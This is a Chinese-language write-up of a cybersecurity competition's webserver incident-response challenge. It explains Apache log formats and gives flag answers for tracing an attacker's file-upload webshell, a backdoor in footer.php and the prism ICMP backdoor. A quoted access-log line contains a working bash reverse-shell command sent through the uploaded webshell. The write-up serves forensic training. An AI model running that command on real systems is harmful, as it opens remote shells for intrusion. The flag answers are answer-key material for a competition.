記一次某網絡安全比賽三階段webserver應急響應解題過程

0X01 任務說明

0X02 靶機介紹

Webserver(Web服務器)是一種軟件或硬件設備,用于接收、處理并響應來自客戶端(如瀏覽器)的HTTP請求,提供網頁、圖片、視頻等靜態或動態內容,是互聯網基礎設施的核心組件之一,其主要功能包括處理HTTP請求(接收客戶端如瀏覽器發送的GET、POST等請求)、生成響應(根據請求內容返回對應資源如HTML頁面、JSON數據)、管理靜態文件(直接提供圖片、CSS、JavaScript等靜態資源)、與后端服務協作(通過API或腳本語言如PHP、Python與后端應用交互生成動態內容)以及支持安全協議(如HTTPS加密傳輸)、負載均衡(分發請求到多個服務器)和日志記錄(記錄訪問信息用于分析和審計)等,常見的Web服務器軟件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等,它們在性能、功能、配置復雜度等方面各有特點,廣泛應用于網站托管、應用服務、API網關等場景。

0X03 涉及知識

  1. access.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目錄下。
    作用:記錄對服務器的每個HTTP請求的詳細信息,包括訪問時間、請求方法、URL、客戶端IP等。
    格式:日志格式可以在配置文件中自定義,但通常包括客戶端IP、用戶標識符、用戶名稱、日期、請求
    方法:請求的URL、HTTP協議版本、響應狀態碼、響應大小等信息。
  2. error.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目錄下。
    作用:記錄Apache服務器的錯誤和警告消息,用于故障排除和問題診斷。
    格式:通常包含錯誤消息、時間戳和錯誤級別。
  3. other_vhosts_access.log(虛擬主機訪問日志):
    位置:通常位于虛擬主機配置中指定的位置。
    作用:記錄虛擬主機的HTTP請求,與 access.log 類似,但僅針對特定虛擬主機。
    格式:與 access.log 相同。

access.log日志格式

access.log 文件的格式是可配置的,通常使用常見的日志格式,包括以下字段:

  1. 客戶端IP地址:發出請求的客戶端的IP地址。
  2. 客戶端標識符(標識客戶端身份的用戶或代理):通常為空。
  3. 用戶名(如果啟用了HTTP身份驗證,記錄請求的用戶名稱):通常為空。
  4. 記錄時間:請求被記錄的時間。
  5. 請求方法:HTTP請求方法(例如,GET、POST)。
  6. 請求的URL:被請求的資源的URL。
  7. HTTP協議版本:請求使用的HTTP協議版本。
  8. 服務器響應狀態碼:服務器對請求的響應狀態碼(例如,200表示成功,404表示未找到,500表示服務器錯誤)。
  9. 響應大小:服務器響應的大小(以字節為單位)。
  10. 引用來源:如果有的話,表示從哪個頁面鏈接訪問的。
  11. 用戶代理:發出請求的用戶代理信息,通常包含瀏覽器類型和版本等。
例:
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客戶端IP地址:192.168.1.7
2.客戶端標識符: -
3.用戶名: -
4.記錄時間:[24/Apr/2022:15:27:32 +0000]
5.請求方法:GET
6.請求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP協議版本:HTTP/1.1
8.服務器響應狀態碼:200
9.響應大小:242
10.引用來源(Referer):"-"
11.用戶代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"

error.log日志格式

[Sun Apr 24 15:17:51.546416 2022] [:error] [pid 77910] [client
192.168.1.7:53328] script '/var/www/html/phpfm.php' not found or unable to
stat

  1. [Sun Apr 24 15:17:51.546416 2022]:表示錯誤發生的日期和時間,以及微秒級別的時間戳。這告訴您錯誤發生在2022年4月24日15:17:51.546416。這個時間戳通常以世界協調時(UTC)格式表示。
  2. [:error]:指示錯誤的級別。在這里,級別是錯誤(error),這是Apache日志中的一種標準級別,表示發生了一個錯誤事件。
  3. [pid 77910]:指示與錯誤相關的進程ID(PID)。在這里,PID是77910。這個信息對于跟蹤特定請求的錯誤非常有用。
  4. [client 192.168.1.7:53328]:指示客戶端的IP地址和端口號。在這里,客戶端的IP地址是192.168.1.7,而連接的端口號是53328。這有助于確定引發錯誤的客戶端。
  5. script '/var/www/html/phpfm.php' not found or unable to stat:這是錯誤消息的正文部分,提供了有關錯誤的詳細信息。具體來說,它表示Apache服務器正在嘗試查找名為phpfm.php的腳本文件,但未能找到它,或者由于某種原因無法對其進行狀態檢查(stat操作)。
    這可能是因為文件不存在、權限問題或其他問題。

0X04 應急響應

1、提交攻擊者的IP地址

首先,查看服務器所開放的端口,發現開放了80端口,并且運行的服務為apache2。

#通過access.log.1日志文件內容,查看服務器的各種狀態。
vim /var/log/apache2/access.log.1

可以看到IP為192.168.1.7的用戶使用了DIRSEARCH掃描工具對網站目錄進行了大量掃描,接著查看最后100行日志,在日志文件中發現漏洞利用的代碼,這里通過文件上傳漏洞,上傳了1.php文件,并執行了id和whoami命令,最后反彈了shell。

flag{192.168.1.7}

2、識別攻擊者使用的操作系統

flag{Linux x86_64}

3、找出攻擊者資產收集所使用的平臺

flag{shodan}

4、提交攻擊者目錄掃描所使用的工具名稱

flag{DIRSEARCH}

5、提交黑客首次攻擊成功的時間,格式:DD /MM/YY:HH:MM:SS

flag{24/Apr/2022:15:26:42}

6、找到攻擊者寫入的惡意后門文件,提交文件名(完整路徑)和后門密碼

結合網站根目錄路徑為/var/www/html,木馬所在的網站目錄為/data/avatar/1.php 并且連接密碼為2022。

flag{/var/www/html/data/avatar/1.php 2022}

7、找到攻擊者隱藏在正常web應用代碼中的惡意代碼,提交該文件名(完整路徑)

cd /var/www/html
#grep命令是Linux系統中一個非常重要且功能強大的文本搜索工具。
#以下命令用來檢索網站根目錄下包含一句話木馬eval關鍵字的文件。
grep -r "eval"

flag{/var/www/html/footer.php}

8、識別系統中存在的惡意程序進程,提交進程名

使用crontab -l 查看任務計劃發現存在后門進程

flag{prism}

9、找到文件系統中的惡意程序文件并提交文件名(完整路徑)

#查看進程
ps -aux
#查看程序位置
lsof -p 981 (進程PID號)

flag{/root/.mal/prism}

10、簡要描述該惡意文件的行為

https://github.com/andreafabrizi/prism 項目地址

flag{ICMP后門執行遠程攻擊者的命令}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/76271.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/76271.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/76271.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ChatGPT 4:引領 AI 創作新時代

文章目錄 前言一、ChatGPT 4 的技術革新二、AI 文案創作:精準生成與個性化定制三、AI 繪畫藝術:從文字到圖像的神奇轉化四、AI 視頻制作:自動化剪輯與創意實現五、知識庫與 ChatGPT 4 的深度融合六、全新的變革和機遇七、相關書籍推薦《ChatG…

HTTP請求-請求行

請求行(方法,URL,版本號) 方法: 描述了這次請求的目的。 常見方法: GET:從服務器拿一個東西過來(讀操作) POST:往服務器放一個東西去(寫操作…

OSPF不規則區域和LSA

OSPF不規則區域 1.遠離骨干的非骨干區域 R1-R4四臺路由器能夠正常學習到彼此路由,但是R5不行,因為R5是非法ABR 解決方法: 1使用Tunnel隧道將AR4連接到骨干區域 (1) 使用隧道解決不規則區域的問題 a.可能造成選路不…

【VS Code】開發C++跳轉配置

C配置c_cpp_properties.json {"env": {"myIncludePath": ["${workspaceFolder}/src/include","${workspaceFolder}/src","${workspaceFolder}","/home/xxx/include/"],"myDefines": ["RELEASE&qu…

Spring AI應用:利用DeepSeek+嵌入模型+Milvus向量數據庫實現檢索增強生成--RAG應用(超詳細)

Spring AI應用:利用DeepSeek嵌入模型Milvus向量數據庫實現檢索增強生成–RAG應用(超詳細) 在當今數字化時代,人工智能(AI)技術的快速發展為各行業帶來了前所未有的機遇。其中,檢索增強生成&…

Spring 的 IoC 和 DI 詳解:從零開始理解與實踐

Spring 的 IoC和 DI 詳解:從零開始理解與實踐 一、IoC(控制反轉) 1、什么是 IoC? IoC 是一種設計思想,它的核心是將對象的創建和管理權從開發者手中轉移到外部容器(如 Spring 容器)。通過這種…

JVM基礎架構:內存模型×Class文件結構×核心原理剖析

🚀前言 “為什么你的Java程序總在半夜OOM崩潰?為什么某些代碼性能突然下降?一切問題的答案都在JVM里! 作為Java開發者,如果你: 對OutOfMemoryError束手無策看不懂GC日志里的神秘數字好奇.class文件如何變…

.DS_Store文件泄露、.git目錄泄露、.svn目錄泄露漏洞利用工具

🐉工具介紹 一款圖形化的 .DS_Store文件泄露、.git目錄泄露、.svn目錄泄露漏洞利用工具。 🎯使用 本工具使用Python3 PyQt5開發,在開始使用前,請確保已經安裝了相關模塊: pip3 install -r requirements.txt -i ht…

為何在 FastAPI 中需要允許跨域訪問(CORS)?(Grok3 回答)

prompt: 你是一個文筆流暢、專業性極強的技術博客博主,你將結合具體的例子和實際代碼解釋寫一篇為何后端選擇fastapi框架時,需要允許跨域訪問。 為何在 FastAPI 中需要允許跨域訪問(CORS)? 在現代 Web 開發中&#xf…

JDK8前后日期(計算兩個日期時間差-高考倒計時)

JDK8之前日期、時間 Date SimpleDateFormat Calender JDK8開始日期、時間 LocalDate/LocalTime/LocalDateTime ZoneId/ZoneDateTIme Instant-時間毫秒值 DateTimeFormatter Duration/Period

Gerapy二次開發:用戶管理專欄主頁面開發

用戶管理專欄主頁面開發 寫在前面用戶權限控制用戶列表接口設計主頁面開發前端account/Index.vuelangs/zh.jsstore.js后端Paginator概述基本用法代碼示例屬性與方法urls.pyviews.py運行效果總結歡迎加入Gerapy二次開發教程專欄! 本專欄專為新手開發者精心策劃了一系列內容,旨…

關于Spring MVC中傳遞數組參數的詳細說明,包括如何通過逗號分隔的字符串自動轉換為數組,以及具體的代碼示例和總結表格

以下是關于Spring MVC中傳遞數組參數的詳細說明,包括如何通過逗號分隔的字符串自動轉換為數組,以及具體的代碼示例和總結表格: 1. 核心機制 Spring MVC支持直接通過逗號分隔的字符串將請求參數自動轉換為數組(String[]、int[]等&…

大模型學習七:?小米8閑置,直接安裝ubuntu,并安裝VNC遠程連接手機,使勁造

一、說明 對于咱們技術人來說,就沒有閑的蛋疼的時候,那不是現在機會來了 二、刷機器準備 1、申請解鎖手機 申請解鎖小米手機https://www.miui.com/unlock/download.html 下載工具,安裝下面的步驟來,官網不欺人吧 打開開發者工…

repo安裝配置

1.安裝屬性 以下配置方式二選一進行安裝 1.1全局級別配置 1. 安裝 repo 工具 在終端中輸入以下命令以下載 repo 工具: curl https://storage.googleapis.com/git-repo-downloads/repo > /usr/bin/repo chmod ax /usr/bin/repo 1.2用戶級別配置 1. 安裝 r…

Go 語言數據類型

Go 語言數據類型 概述 Go 語言(也稱為 Golang)是一種靜態強類型、編譯型、并發型、具有垃圾回收功能的編程語言。自2009年發布以來,Go 語言因其簡潔的語法、高效的執行速度和強大的并發處理能力而廣受歡迎。本文將詳細介紹 Go 語言中的數據類型,幫助讀者更好地理解和掌握…

C# 看門狗策略實現

using System; using System.Threading;public class Watchdog {private Timer _timer;private volatile bool _isTaskAlive;private readonly object _lock new object();private const int CheckInterval 5000; // 5秒檢測一次private const int TimeoutThreshold 10000; …

Font Awesome Web 應用圖標

1. 什么是 Font Awesome Web 應用圖標 Font Awesome Web 應用圖標是 Font Awesome 圖標庫中與 Web 開發相關的子集,適用于界面設計、用戶交互和功能標識。 定義與作用 定義:這些圖標包括導航(如“主頁”)、操作(如“…

如何實現H5端對接釘釘登錄并優雅擴展其他平臺

如何實現H5端對接釘釘登錄并優雅擴展其他平臺 釘釘H5登錄邏輯后端代碼如何實現?本次采用策略模式工廠方式進行定義接口確定會使用的基本鑒權步驟具體邏輯類進行實現采用注冊表模式(Registry Pattern)抽象工廠進行基本邏輯定義具體工廠進行對接…

STM32F103C8T6單片機開發:簡單說說單片機的外部GPIO中斷(標準庫)

目錄 前言 如何使用STM32F1系列的標準庫完成外部中斷的抽象 初始化我們的GPIO為輸入的一個模式 初識GPIO復用,開啟GPIO的復用功能時鐘 GPIO_EXTILineConfig和EXTI_Init配置外部中斷參數 插入一個小知識——如何正確的配置結構體? 初始化中斷&#…

【自然語言處理】深度學習中文本分類實現

文本分類是NLP中最基礎也是應用最廣泛的任務之一,從無用的郵件過濾到情感分析,從新聞分類到智能客服,都離不開高效準確的文本分類技術。本文將帶您全面了解文本分類的技術演進,從傳統機器學習到深度學習,手把手實現一套…